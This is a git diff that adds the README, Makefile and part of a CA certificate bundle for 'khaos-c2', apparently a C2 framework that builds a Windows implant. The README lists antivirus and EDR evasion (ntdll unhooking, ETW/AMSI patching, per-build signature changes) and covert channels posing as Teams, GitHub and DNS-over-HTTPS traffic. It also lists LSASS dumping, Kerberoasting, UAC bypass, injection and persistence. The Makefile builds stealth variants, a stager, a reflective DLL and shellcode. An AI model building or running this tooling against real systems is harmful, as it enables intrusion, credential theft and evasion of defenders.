+The agent is written in C. It uses indirect syscalls, unhooks ntdll from a fresh disk copy, patches ETW and AMSI through hardware breakpoints rather than byte-patching, and obfuscates its stack during sleep. Every build regenerates its string encoding key and credential XOR, so two compiled binaries from the same config never share a static signature.
+
+On the network side there are five channels: Microsoft Teams, GitHub Gist, DNS-over-HTTPS, HTTP/S, and SMB named pipe. The idea is that at least one of them already looks like normal traffic in whatever environment you're working in.
+
+Post-exploitation covers the usual ground: shell, execute-assembly (.NET CLR in-process), BOF/COFF loading, four injection techniques, token theft and impersonation, LSASS dump via direct syscall, Kerberoasting, AS-REP roasting, SOCKS5, reverse port forward, and WMI lateral movement. A separate crypter/loader handles in-memory PE mapping if you need to go stageless.
+
+The operator UI is a React app with a built-in payload builder, live network map, credential store, and screenshot gallery. Everything updates over WebSocket in real time.
+
+---
+
+## Features
+
+
+
+### Channels
+
+| Channel | Transport | Blends into |
+|---------|-----------|-------------|
+| Microsoft Teams | HTTPS `*.office.com` | O365 enterprise traffic |
+| GitHub Gist | REST `api.github.com` | Developer activity |
+| DNS-over-HTTPS | DoH `1.1.1.1` | Encrypted DNS queries |
+| HTTP/S | HTTPS | Generic web traffic |
+| SMB Named Pipe | SMB | Internal lateral movement |
+
+Traffic is encrypted with ChaCha20-Poly1305, key exchange via X25519, unique per agent, per session.
+
+### Post-exploitation
+
+| Category | Capabilities |
+|----------|-------------|
+| Execution | Shell, execute-assembly (.NET CLR in-process), BOF/COFF loader, screenshot |
+| Injection | Remote thread, thread hijack, EarlyBird APC, module stomp, self-injection |
+| Identity | Token steal / make / revert, `getsystem` (3 techniques), UAC bypass (ICMLuaUtil / fodhelper / sdclt) |
+| Credentials | LSASS dump (custom minidump), SAM/SYSTEM hive via SeBackupPrivilege, Kerberoast, AS-REP roast |
+| Network | SOCKS5 proxy, reverse port forward, SMB pivot, WMI lateral movement |
+| Persistence | Registry run key, scheduled task (XML) |
+
+### Crypter
+
+Loader that decrypts and reflectively maps the agent PE in memory.
+
+```bash
+cd crypter
+python build.py # bake agent + build loader
+python build.py --stager-url https://... # with network stager
+```
+
+---
+
+## Quick Start
+
+### Linux (Kali / Ubuntu / Debian)
+
+```bash
+git clone https://github.com/28Zaaky/khaos-c2
+cd khaos-c2
+python3 -m venv venv && source venv/bin/activate
+pip3 install -r server/requirements.txt
+
+# install Node.js if missing
+sudo apt update && sudo apt install nodejs npm -y
+cd ui && npm install && npm run build && cd ..
+
+# TLS cert
+openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes \
+ -keyout server/cert.key -out server/cert.pem -subj "/CN=khaos-c2"
+
+cp server/config.example.yaml server/config.yaml
+# edit config.yaml: jwt_secret + http.beacon_url
+python3 server/main.py
+```
+
+Agent compiled on Windows (see below), then dropped on target.
+
+### Windows
+
+Requires [MSYS2](https://www.msys2.org/) with MinGW-w64.
+
+```bash
+git clone https://github.com/28Zaaky/khaos-c2
+cd khaos-c2
+```
+
+```bash
+# MSYS2 shell — install build deps once
+pacman -S mingw-w64-x86_64-gcc mingw-w64-x86_64-mbedtls
+```
+
+```bash
+# Server
+cd server
+python -m venv venv
+venv\Scripts\activate
+pip install -r requirements.txt
+copy config.example.yaml config.yaml
+python main.py
+```
+
+```bash
+# UI (separate terminal)
+cd ui && npm install && npm run dev # → http://localhost:5173
+```
+
+```powershell
+# Agent
+.\agent\rebuild_agent.ps1 # runs make config + make lean, kills running agent first
+# or: cd agent && make config && make standalone
+```
+
+Default login: `operator` / `changeme`
+
+---
+
+## Community
+
+Discord: https://discord.gg/qNeK6cvwSq
+
+---
+
+## Legal
+
+For authorized security testing only. Using this tool against systems you do not own or have explicit written permission to test is illegal.
+
+---
+
+*Built by [28Zaaky](https://github.com/28Zaaky/)*
diff --git a/agent/Makefile b/agent/Makefile
new file mode 100644
index 0000000..acc14c9
--- /dev/null
+++ b/agent/Makefile
@@ -0,0 +1,315 @@
+# ── Toolchain detection — Windows (MSYS2) or Linux (cross-compile) ──────────
+ifeq ($(OS),Windows_NT)
+ MSYS2 ?= C:/msys64/mingw64
+ CC ?= $(MSYS2)/bin/gcc.exe
+ STRIP ?= $(MSYS2)/bin/strip.exe
+ OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
+ WINDRES ?= $(MSYS2)/bin/windres.exe
+ PYTHON ?= python
+ # Force linker temp dir (ld.exe ignores shell TEMP on some MSYS2 setups)
+ export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
+ export TEMP := $(TMP)
+else
+ # Ubuntu/Debian: apt install gcc-mingw-w64-x86-64 mingw-w64
+ MSYS2 ?= /usr/x86_64-w64-mingw32
+ CC ?= x86_64-w64-mingw32-gcc
+ STRIP ?= x86_64-w64-mingw32-strip
+ OBJCOPY ?= x86_64-w64-mingw32-objcopy
+ WINDRES ?= x86_64-w64-mingw32-windres
+ PYTHON ?= python3
+endif
+
+# Guard: must run make from the agent/ directory (include/bof.h must be reachable)
+ifeq ($(wildcard include/bof.h),)
+ $(error Run make from the agent/ directory, not from: $(CURDIR))
+endif
+
+BUILDDIR = .
+
+# -DCURL_STATICLIB removed: curl linked dynamically (libcurl-4.dll)
+JITTER_PCT ?= 40
+# -fno-ident : supprime la string "GCC: (x86_64-posix-seh...)" dans .comment
+# -fno-asynchronous-unwind-tables : supprime .eh_frame (réduit surface heuristique)
+# -fno-exceptions : pas d'exception C++ → pas de .pdata/.xdata MSVC-style
+# -Wl,--no-insert-timestamp : ld n'écrit pas de timestamp (pe_scrub en met un aléatoire)
+CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
+ -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions \
+ -fno-stack-protector \
+ -DJITTER_PCT=$(JITTER_PCT)
+
+# Mixed linking: -mwindows suppresses console
+# curl = dynamic (DLL), mbedTLS = static, stdlib = static
+LDFLAGS = -mwindows -static-libgcc -static-libstdc++ -Wl,--no-insert-timestamp
+
+INCLUDE = -Iinclude \
+ -I$(MSYS2)/include
+
+LIBPATH = -L$(MSYS2)/lib
+
+# mbedTLS static, curl dynamic (avoids HTTP/3 static dep chain)
+LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
+ -Wl,-Bdynamic -lcurl \
+ -Wl,-Bstatic -lws2_32 -lwinhttp -lnetapi32 -ladvapi32 \
+ -lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
+ -lgdi32 -lole32 -loleaut32 -luuid
+
+# Standalone: HTTP channel only (WinHTTP loaded at runtime — no IAT entry)
+# Excludes teams.c / github.c / doh.c — no libcurl required.
+LIBS_SA = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
+ -Wl,-Bstatic -lws2_32 -lnetapi32 -ladvapi32 \
+ -lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
+ -lgdi32 -lole32 -loleaut32 -luuid
+
+SRC_SA = src/main.c \
+ src/beacon.c \
+ src/util.c \
+ src/adv_lazy.c \
+ src/evs.c \
+ src/crypto/chacha.c \
+ src/crypto/handshake.c \
+ src/channels/http.c \
+ src/channels/http_only.c \
+ src/commands/shell.c \
+ src/commands/upload.c \
+ src/commands/download.c \
+ src/commands/ps.c \
+ src/commands/getpid.c \
+ src/commands/token.c \
+ src/commands/screenshot.c \
+ src/commands/execasm.c \
+ src/commands/fs.c \
+ src/commands/reg.c \
+ src/commands/lsass.c \
+ src/commands/hashdump.c \
+ src/commands/portscan.c \
+ src/commands/spawn.c \
+ src/commands/wmi.c \
+ src/commands/kerberos.c \
+ src/commands/uac.c \
+ src/commands/getsystem.c \
+ src/commands/lpe_check.c \
+ src/channels/smb.c \
+ src/evasion/evasion.c \
+ src/inject/inject.c \
+ src/inject/spoof_stub.S \
+ src/persist/persist.c \
+ src/bof/bof.c \
+ src/socks/socks.c \
+ src/socks/rportfwd.c
+
+# Lean: no inject/screenshot/lsass/hashdump/kerberos/execasm — minimal capability surface
+SRC_LEAN = src/main.c \
+ src/beacon.c \
+ src/util.c \
+ src/adv_lazy.c \
+ src/evs.c \
+ src/crypto/chacha.c \
+ src/crypto/handshake.c \
+ src/channels/http.c \
+ src/channels/http_only.c \
+ src/commands/shell.c \
+ src/commands/upload.c \
+ src/commands/download.c \
+ src/commands/ps.c \
+ src/commands/getpid.c \
+ src/commands/token.c \
+ src/commands/fs.c \
+ src/commands/reg.c \
+ src/commands/portscan.c \
+ src/commands/spawn.c \
+ src/commands/wmi.c \
+ src/commands/uac.c \
+ src/commands/getsystem.c \
+ src/commands/lpe_check.c \
+ src/channels/smb.c \
+ src/evasion/evasion.c \
+ src/inject/inject_stub.c \
+ src/persist/persist.c \
+ src/bof/bof.c \
+ src/socks/socks.c \
+ src/socks/rportfwd.c
+
+SRC = src/main.c \
+ src/beacon.c \
+ src/util.c \
+ src/adv_lazy.c \
+ src/evs.c \
+ src/crypto/chacha.c \
+ src/crypto/handshake.c \
+ src/channels/github.c \
+ src/channels/http.c \
+ src/channels/teams.c \
+ src/channels/doh.c \
+ src/commands/shell.c \
+ src/commands/upload.c \
+ src/commands/download.c \
+ src/commands/ps.c \
+ src/commands/getpid.c \
+ src/commands/token.c \
+ src/commands/screenshot.c \
+ src/commands/execasm.c \
+ src/commands/fs.c \
+ src/commands/reg.c \
+ src/commands/lsass.c \
+ src/commands/hashdump.c \
+ src/commands/portscan.c \
+ src/commands/spawn.c \
+ src/commands/wmi.c \
+ src/commands/kerberos.c \
+ src/commands/uac.c \
+ src/commands/getsystem.c \
+ src/commands/lpe_check.c \
+ src/channels/smb.c \
+ src/evasion/evasion.c \
+ src/inject/inject.c \
+ src/inject/spoof_stub.S \
+ src/persist/persist.c \
+ src/bof/bof.c \
+ src/socks/socks.c \
+ src/socks/rportfwd.c
+
+TARGET = $(BUILDDIR)/agent.exe
+RES_SRC = res/agent.rc
+RES_OBJ = $(BUILDDIR)/agent_res.o
+
+# DLLs to ship alongside agent.exe (copy from MSYS2 after build)
+DLLS = $(MSYS2)/bin/libcurl-4.dll \
+ $(MSYS2)/bin/libssl-3.dll \
+ $(MSYS2)/bin/libcrypto-3.dll
+
+LIFTER_SRC = src/lifter/lifter.c \
+ src/evs.c
+
+LIFTER_LIBS = -Wl,-Bstatic -ladvapi32 -lshell32 -luser32 -lkernel32 \
+ -lole32 -luuid
+
+STAGER_SRC = src/stager/stager.c \
+ src/stager/hollow.c \
+ src/crypto/chacha.c \
+ src/evs.c
+
+STAGER_LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
+ -Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
+ -lwldap32 -lcrypt32 -lsecur32 \
+ -lgdi32 -lole32 -loleaut32 -luuid
+
+$(RES_OBJ): $(RES_SRC) res/agent.manifest
+ $(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
+
+all: config $(RES_OBJ) $(TARGET)
+
+lifter:
+ $(CC) -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
+ $(INCLUDE) $(LIFTER_SRC) \
+ $(LIBPATH) $(LIFTER_LIBS) \
+ -mwindows -static-libgcc \
+ -o lifter.exe
+ $(STRIP) --strip-all lifter.exe
+ @echo "[ok] lifter.exe"
+
+standalone: config $(RES_OBJ)
+ $(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
+ $(STRIP) --strip-all $(TARGET)
+ $(OBJCOPY) --strip-debug $(TARGET)
+ $(PYTHON) tools/pe_scrub.py $(TARGET)
+ @echo "[ok] standalone built $(TARGET) (no curl DLL)"
+
+stager: stager-config stager-only
+
+stager-config:
+ $(PYTHON) tools/gen_stager_config.py --url "$(STAGE_URL)" --key "$(STAGE_KEY)"
+
+# stager-only: compile stager without regenerating stager_config.h
+# Used by the payload builder API (config already written by the server).
+stager-only:
+ $(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(STAGER_SRC) $(LIBPATH) $(STAGER_LIBS) $(LDFLAGS) -o stager.exe
+ @echo "[ok] stager.exe"
+
+# shellcode-only: convert agent.exe → agent.bin via donut
+# Requires: pip install donut-shellcode
+# Note: run build-only first to produce agent.exe
+shellcode-only:
+ $(PYTHON) tools/pe2sc.py $(BUILDDIR)/agent.exe $(BUILDDIR)/agent.bin
+ @echo "[ok] shellcode agent.bin"
+
+# reflective-dll-only: build agent as a reflective DLL (no console, no WinMain).
+# The DLL exports "ReflectiveLoader" — any injector can find it by EAT and call
+# it to self-load the agent into memory without LoadLibrary.
+# -shared / -Wl,--dll : produce a PE DLL
+# -D_REFLECTIVE_DLL : switches main.c to agent_main() + includes dllmain.c/reflect.c
+# -Wl,--export-all-symbols omitted: only ReflectiveLoader needs export (in reflect.c)
+reflective-dll-only:
+ $(CC) $(CFLAGS) -D_REFLECTIVE_DLL -DHTTP_ONLY -shared \
+ $(INCLUDE) \
+ $(SRC_SA) \
+ src/reflect/reflect.c \
+ src/reflect/dllmain.c \
+ $(LIBPATH) $(LIBS_SA) \
+ -static-libgcc -static-libstdc++ \
+ -Wl,--dll \
+ -o $(BUILDDIR)/agent.dll
+ @echo "[ok] agent.dll (reflective)"
+
+# lean: reduced surface — no inject/screenshot/lsass/hashdump/kerberos/execasm
+lean: config $(RES_OBJ)
+ $(CC) $(CFLAGS) -DHTTP_ONLY -DLEAN $(INCLUDE) $(SRC_LEAN) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
+ $(STRIP) --strip-all $(TARGET)
+ $(OBJCOPY) --strip-debug $(TARGET)
+ $(PYTHON) tools/pe_scrub.py $(TARGET)
+ @echo "[ok] lean build $(TARGET)"
+
+# build-only: compile standalone without regenerating agent_config.h
+# Used by the payload builder API (config already written by the server).
+build-only: $(RES_OBJ)
+ $(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
+ $(STRIP) --strip-all $(TARGET)
+ $(OBJCOPY) --strip-debug $(TARGET)
+ $(PYTHON) tools/pe_scrub.py $(TARGET)
+ @echo "[ok] build-only $(TARGET)"
+
+config:
+ $(PYTHON) tools/obfuscate.py
+ $(PYTHON) tools/gen_evs_strings.py
+
+$(TARGET): $(SRC) $(RES_OBJ)
+ $(CC) $(CFLAGS) $(INCLUDE) $(SRC) $(RES_OBJ) $(LIBPATH) $(LIBS) $(LDFLAGS) -o $(TARGET)
+ $(STRIP) --strip-all $(TARGET)
+ $(OBJCOPY) --strip-debug $(TARGET)
+ @echo "[ok] built $(TARGET)"
+
+# Copy required DLLs next to the binary
+bundle: $(TARGET)
+ @for dll in $(DLLS); do \
+ cp -v "$$dll" . 2>/dev/null || true; \
+ done
+
+strip: $(TARGET)
+ $(STRIP) --strip-all $(TARGET)
+ $(OBJCOPY) --strip-debug $(TARGET)
+ @echo "[ok] stripped"
+
+relay:
+ $(CC) -O2 -Wall -DNDEBUG -DWIN32_LEAN_AND_MEAN \
+ $(INCLUDE) src/relay/smb_relay.c \
+ $(LIBPATH) \
+ -Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
+ -lwldap32 -lcrypt32 -lsecur32 \
+ -lgdi32 -lole32 -loleaut32 -luuid \
+ -static-libgcc \
+ -o smb_relay.exe
+ @echo "[ok] smb_relay.exe"
+
+debug:
+ $(CC) $(CFLAGS) -DHTTP_ONLY -DBEACON_INTERVAL=3000 -DJITTER_PCT=0 -DSKIP_EVASION \
+ $(INCLUDE) $(SRC_SA) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(BUILDDIR)/agent_debug.exe
+ $(STRIP) --strip-all $(BUILDDIR)/agent_debug.exe
+ @echo "[ok] agent_debug.exe (interval=3s, no jitter, stripped)"
+
+clean:
+ifeq ($(OS),Windows_NT)
+ del /Q "$(BUILDDIR)\agent.exe" "$(BUILDDIR)\agent_res.o" 2>nul || true
+else
+ rm -f $(BUILDDIR)/agent.exe $(BUILDDIR)/agent_res.o
+endif
+
+.PHONY: all standalone lean build-only debug stager stager-config stager-only shellcode-only reflective-dll-only bundle strip relay clean
diff --git a/agent/curl-ca-bundle.crt b/agent/curl-ca-bundle.crt
new file mode 100644
index 0000000..e9bc8e3
--- /dev/null
+++ b/agent/curl-ca-bundle.crt
@@ -0,0 +1,3996 @@
+# AC RAIZ FNMT-RCM
+-----BEGIN CERTIFICATE-----
+MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsx
+CzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJ
+WiBGTk1ULVJDTTAeFw0wODEwMjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJ
+BgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBG
+Tk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALpxgHpMhm5/
+yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcfqQgf
+BBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAz
+WHFctPVrbtQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxF
+tBDXaEAUwED653cXeuYLj2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z
+374jNUUeAlz+taibmSXaXvMiwzn15Cou08YfxGyqxRxqAQVKL9LFwag0Jl1mpdIC
+IfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mwWsXmo8RZZUc1g16p6DUL
+mbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnTtOmlcYF7
+wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peS
+MKGJ47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2
+ZSysV4999AeU14ECll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMet
+UqIJ5G+GR4of6ygnXYMgrwTJbFaai0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUw
+AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFPd9xf3E6Jobd2Sn9R2gzL+H
+YJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1odHRwOi8vd3d3
+LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
+nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1
+RXxlDPiyN8+sD8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYM
+LVN0V2Ue1bLdI4E7pWYjJ2cJj+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf
+77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrTQfv6MooqtyuGC2mDOL7Nii4LcK2N
+JpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW+YJF1DngoABd15jm
+fZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7Ixjp
+6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp
+1txyM/1d8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B
+9kiABdcPUXmsEKvU7ANm5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wok
+RqEIr9baRRmW1FMdW4R58MD3R++Lj8UGrp1MYp3/RgT408m2ECVAdf4WqslKYIYv
+uu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
+-----END CERTIFICATE-----
+
+# AC RAIZ FNMT-RCM SERVIDORES SEGUROS
+-----BEGIN CERTIFICATE-----
+MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQsw
+CQYDVQQGEwJFUzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgw
+FgYDVQRhDA9WQVRFUy1RMjgyNjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1S
+Q00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4MTIyMDA5MzczM1oXDTQzMTIyMDA5
+MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQtUkNNMQ4wDAYDVQQL
+DAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNBQyBS
+QUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuB
+BAAiA2IABPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LH
+sbI6GA60XYyzZl2hNPk2LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oK
+Um8BA06Oi6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
+VR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqGSM49BAMDA2kAMGYCMQCu
+SuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoDzBOQn5IC
+MQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJy
+v+c=
+-----END CERTIFICATE-----
+
+# ACCVRAIZ1
+-----BEGIN CERTIFICATE-----
+MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UE
+AwwJQUNDVlJBSVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQsw
+CQYDVQQGEwJFUzAeFw0xMTA1MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQ
+BgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwHUEtJQUNDVjENMAsGA1UECgwEQUND
+VjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCb
+qau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gMjmoY
+HtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWo
+G2ioPej0RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpA
+lHPrzg5XPAOBOp0KoVdDaaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhr
+IA8wKFSVf+DuzgpmndFALW4ir50awQUZ0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/
+0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDGWuzndN9wrqODJerWx5eH
+k6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs78yM2x/47
+4KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMO
+m3WR5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpa
+cXpkatcnYGMN285J9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPl
+uUsXQA+xtrn13k/c4LOsOxFwYIRKQ26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYI
+KwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRwOi8vd3d3LmFjY3YuZXMvZmls
+ZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEuY3J0MB8GCCsG
+AQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
+VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeT
+VfZW6oHlNsyMHj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIG
+CCsGAQUFBwICMIIBFB6CARAAQQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUA
+cgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBhAO0AegAgAGQAZQAgAGwAYQAgAEEA
+QwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUAYwBuAG8AbABvAGcA
+7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBjAHQA
+cgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAA
+QwBQAFMAIABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUA
+czAwBggrBgEFBQcCARYkaHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2Mu
+aHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRt
+aW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2MV9kZXIuY3JsMA4GA1Ud
+DwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZIhvcNAQEF
+BQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdp
+D70ER9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gU
+JyCpZET/LtZ1qmxNYEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+m
+AM/EKXMRNt6GGT6d7hmKG9Ww7Y49nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepD
+vV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJTS+xJlsndQAJxGJ3KQhfnlms
+tn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3sCPdK6jT2iWH
+7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
+I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szA
+h1xA2syVP1XgNce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xF
+d3+YJ5oyXSrjhO7FmGYvliAd3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2H
+pPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3pEfbRD0tVNEYqi4Y7
+-----END CERTIFICATE-----
+
+# Actalis Authentication Root CA
+-----BEGIN CERTIFICATE-----
+MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UE
+BhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8w
+MzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
+IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDkyMjExMjIwMlowazELMAkGA1UEBhMC
+SVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1
+ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENB
+MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNv
+UTufClrJwkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX
+4ay8IMKx4INRimlNAJZaby/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9
+KK3giq0itFZljoZUj5NDKd45RnijMCO6zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/
+gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1fYVEiVRvjRuPjPdA1Yprb
+rxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2oxgkg4YQ
+51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2F
+be8lEfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxe
+KF+w6D9Fz8+vm2/7hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4F
+v6MGn8i1zeQf1xcGDXqVdFUNaBr8EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbn
+fpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5jF66CyCU3nuDuP/jVo23Eek7
+jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLYiDrIn3hm7Ynz
